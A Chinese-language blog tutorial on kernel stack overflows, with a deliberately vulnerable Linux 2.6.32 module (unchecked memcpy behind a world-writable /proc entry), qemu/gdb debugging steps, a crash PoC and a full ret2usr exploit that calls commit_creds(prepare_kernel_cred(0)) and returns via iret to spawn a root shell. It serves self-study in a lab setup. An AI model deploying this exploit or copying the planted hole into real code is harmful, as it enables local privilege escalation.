linux-kernel expoit study (3)---栈溢出

write linux kernel exploit 2

Stack smashing

简单的内核栈溢出

一个简单的demo

漏洞很明显,memcpy没有对长度进行判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ vim stack_smashing.c
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>

int bug2_write(struct file *file,const char *buf,unsigned long len)
{
char localbuf[8];
memcpy(localbuf,buf,len);
return len;
}

static int __init stack_smashing_init(void)
{
printk(KERN_ALERT "stack_smashing driver init!\n");
create_proc_entry("bug2",0666,0)->write_proc = bug2_write;
return 0;
}

static void __exit stack_smashing_exit(void)
{
printk(KERN_ALERT "stack_smashing driver exit!\n");
}

module_init(stack_smashing_init);
module_exit(stack_smashing_exit);
1
2
3
4
5
6
7
8
9
10
ko文件的Makefile, KERNELDR目录设置为linux内核源码的根目录即可
obj-m := stack_smashing.o
KERNELDR := ~/linux_kernel/linux-2.6.32.1
PWD := $(shell pwd)
modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules
moduels_install:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

简单的测试

1
2
3
4
5
qemu启动内核,加载相关的busybox
$ qemu-system-i386 -kernel arch/i386/boot/bzImage -hda /tmp/my.img -append "root=/dev/sda

>加载模块
$ insmod stack_smashing.ko


POC测试

发现此时编译的ko是有canary检测了,为了测试方便,需要关闭栈保护机制,可以修改~linux_kernel/linux-2.6.32.1中的配置文件.config,找到CONFIG_CC_STACKPROTECTOR注释掉即可,然后重新编译内核和ko文件

1
关闭CONFIG_CC_STACKPROTECTOR之后重新测试栈溢出

调试模块

由于模块并没有作为vmlinux的一部分传给gdb,因此必须通过某种方法把模块信息告知gdb,可以通过add-symbol-file命令把模块的详细信息告知gdb,由于模块也是一个elf文件,需要知道模块的.text、.bss、.data节区地址并通过add-symbol-file指定。
模块stack_smashing.ko的这三个信息分别保存在/sys/module/stack_smashing/sections/.text、/sys/module/stack_smashing/sections/.bss和/sys/module/stack_smashing/sections/.data,由于stack_smashing模块没有bss、data节区所以只需要指定text即可。

1
2
获取text节区地址
$ grep 0 /sys/module/stack_smashing/sections/.text


1
2
3
4
5
在gdb中添加模块信息
gdb-peda$ add-symbol-file /home/swing/linux_kernel/write_linux_kernel_exploit/stack_smashing/stack_smashing.ko 0xc8830000

如果存在data和bss节区可以如下指定:
gdb-peda$ add-symbol-file /home/swingr/linux_kernel/write_linux_kernel_exploit/stack_smashing/stack_smashing.ko 0xc8830000 -s .bss xxxx -s .data xxxx

1
2
3
4
对漏洞函数下断点,可以看到bug2_write在模块中的偏移是0x30,所以在0xc8830000+0x30处下断点
gdb-peda$ b bug2_write
Breakpoint 1 at 0x30: bug2_write. (2 locations)
gdb-peda$ b *0xc8830030

具体调试步骤

调试模式启动kernel

1
$ qemu-system-i386 -S -kernel arch/i386/boot/bzImage -hda /tmp/my.img -append "root=/dev/sda"

设置qemu gdbserver(Ctrl+Alt+2)

1
(qemu) gdbserver tcp::1234

gdb调试kernel

1
2
3
$ gdb vmlinux
gdb-peda$ target remote localhost:1234
gdb-peda$ c

继续运行qemu(Ctrl+Alt+1)

在启动的内核中加载模块

1
$ insmod stack_smashing.ko


找到模块stack_smashing的text地址

1
2
$ grep 0 /sys/module/stack_smashing/sections/.text
0xc8830000

在gdb中command+c停止kernel运行加载符号并设置断点

1
2
3
4
5
6
7
8
9
10
11
gdb-peda$ c
Continuing.
^C

gdb-peda$ file vmlinux
Reading symbols from vmlinux...done.

gdb-peda$ add-symbol-file /home/joker/linux_kernel/write_linux_kernel_exploit/stack_smashing/stack_smashing.ko 0xc8830000
add symbol table from file "/home/joker/linux_kernel/write_linux_kernel_exploit/stack_smashing/stack_smashing.ko" at
.text_addr = 0xc8830000
Reading symbols from /home/joker/linux_kernel/write_linux_kernel_exploit/stack_smashing/stack_smashing.ko...done.

添加断点

1
gdb-peda$ b bug2_write

qemu中触发漏洞
$ echo ABCDEFGHIJKLMNOPQRSTUVWXYZ > /proc/bug2

进入gdb中调试
gdb-peda$ s
Warning: not running or target is remote
9 memcpy(localbuf,buf,len);

gdb-peda$ x /20i $eip
=> 0xc883000f : mov esi,edx
0xc8830011 : shr ecx,0x2
0xc8830014 : lea edi,[ebp-0x10]
0xc8830017 : rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
0xc8830019 : mov ecx,eax
0xc883001b : and ecx,0x3
0xc883001e : je 0xc8830022
0xc8830020 : rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
0xc8830022 : add esp,0x8
0xc8830025 : pop esi
0xc8830026 : pop edi
0xc8830027 : pop ebp
0xc8830028 : ret
可以看到memcpy已经被编译器优化为rep movs指令

在函数返回处下断点
gdb-peda$ b *0xc8830028
gdb-peda$ c
gdb-peda$ x /10i $eip
=> 0xc8830028 : ret

可以看到此时ret之后控制eip为0x58575655
gdb-peda$ x /wx $esp
0xc7a63f30: 0x58575655

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
poc
$ cat stack_smashing_poc.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>

int main()
{
char buf[24];
memset(buf,'A',24);
*((void**) (buf+20)) = 0x43434343;
//write(1,buf,sizeof(buf));
int fd = open("/proc/bug2", O_WRONLY);
write(fd, buf, sizeof(buf));

return 0;
}

exp

从内核模式赋予root权限commit_creds(prepare_kernel_cred(0))然后直接返回用户模式,并在用户模式启一个shell,拿到root shell,其中使用iret指令来返回。

iret简介

1
2
3
当使用IRET指令返回到相同保护级别的任务时,IRET会从堆栈弹出代码段选择子及指令指针分别到CS与IP寄存器,并弹出标志寄存器内容到EFLAGS寄存器。

当使用IRET指令返回到一个不同的保护级别时,IRET不仅会从堆栈弹出以上内容,还会弹出堆栈段选择子及堆栈指针分别到SS与SP寄存器。

硬件在栈上保存了trap frame,iret从下面的结构中恢复到用户模式

1
2
3
4
5
6
7
8
struct trap_frame 
{
void* eip; // instruction pointer +0
uint32_t cs; // code segment +4
uint32_t eflags; // CPU flags +8
void* esp; // stack pointer +12
uint32_t ss; // stack segment +16
} __attribute__((packed));

构造fake trap frame和用户模式shell

构造fake trap frame(struct trap_frame)

1
2
3
4
5
6
7
8
9
void prepare_tf(void)
{
asm("pushl %cs; popl tf+4;" //填充tf.cs为当前的cs
"pushfl; popl tf+8;" //填充tf.eflags为当前的eflags
"pushl %esp; popl tf+12;" //填充tf.esp为当前的esp
"pushl %ss; popl tf+16;"); //填充tf.ss为当前的ss
tf.eip = &launch_shell; //填充tf.eip为launch_shell
tf.esp -= 1024; //unused part of stack
}

用户模式shell

1
2
3
4
void launch_shell(void) 
{
execl("/bin/sh", "sh", NULL);
}

最终的exp和调试

注意添加断点直接b bug2_write,通过commit_creds(prepare_kernel_cred(0))赋予root权限
并通过iret从内核态直接返回用户态然后启动用户态的shell(launch_shell)此时得到的就是root shell

exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
struct trap_frame{
void *eip;
uint32_t cs;
uint32_t eflags;
void *esp;
uint32_t ss;
}__attribute__((packed));
struct trap_frame tf;
void get_shell(void){
execl("/bin/sh", "sh", NULL);
}
void init_tf_work(void){
asm("pushl %cs;popl tf+4;" //set cs
"pushfl;popl tf+8;" //set eflags
"pushl %esp;popl tf+12;"
"pushl %ss;popl tf+16;");
tf.eip = &get_shell;
tf.esp -= 1024;
}
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1067c30;
void (*commit_creds)(void*) KERNCALL = (void*) 0xc1067a90;
void payload(void){
//payload here
commit_creds(prepare_kernel_cred(0));
asm("mov $tf,%esp;"
"iret;");
}
int main(void){
char buf[24];
memset(buf,0x41,24);
*((void**)(buf+20)) = &payload; //set eip to payload
init_tf_work();
write(1,buf,sizeof(buf));
int fd = open("/proc/bug2",O_WRONLY);
//exploit
write(fd,buf,sizeof(buf));
return 0;
}
3. 调试exploit

先要做一些准备工作:

  • 确定模块代码节地址

  • gdb设置


然后就可以返回到系统中,运行exploit程序了。

对ret指令下断,然后c过去,这时候单步的话,应该就ret到我们payload的地址了。


查看一下栈顶的情况:

接下来,我们单步,直行进入我们的payload。

这里可以看到先去执行commit_creds(prepare_kernel_cred(0))了。


我们主要关注iret的时候:

红色部分就是我们伪造的tf结构啦!


这边可以看到eip指向是我们用来起shell的函数,这样看来整个payload结构是没什么问题的。

最终效果

按write-linux-kernel-exploit-1文中——qemu中添加普通用户并测试

总结

真实环境中,canary是启用的,一旦canary被覆盖,就会造成kernel panics

引用

linux_kernel_exploit

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. write linux kernel exploit 2
    1. 1.1. Stack smashing
    2. 1.2. 一个简单的demo
    3. 1.3. 简单的测试
    4. 1.4. 调试模块
    5. 1.5. 具体调试步骤
    6. 1.6. exp
      1. 1.6.1. iret简介
      2. 1.6.2. 硬件在栈上保存了trap frame,iret从下面的结构中恢复到用户模式
      3. 1.6.3. 构造fake trap frame和用户模式shell
        1. 1.6.3.1. 构造fake trap frame(struct trap_frame)
        2. 1.6.3.2. 用户模式shell
      4. 1.6.4. 最终的exp和调试
        1. 1.6.4.0.1. exp
          1. 1.6.4.0.1.1. 3. 调试exploit
  2. 1.7. 最终效果
  3. 1.8. 总结
    1. 1.8.1. 引用
,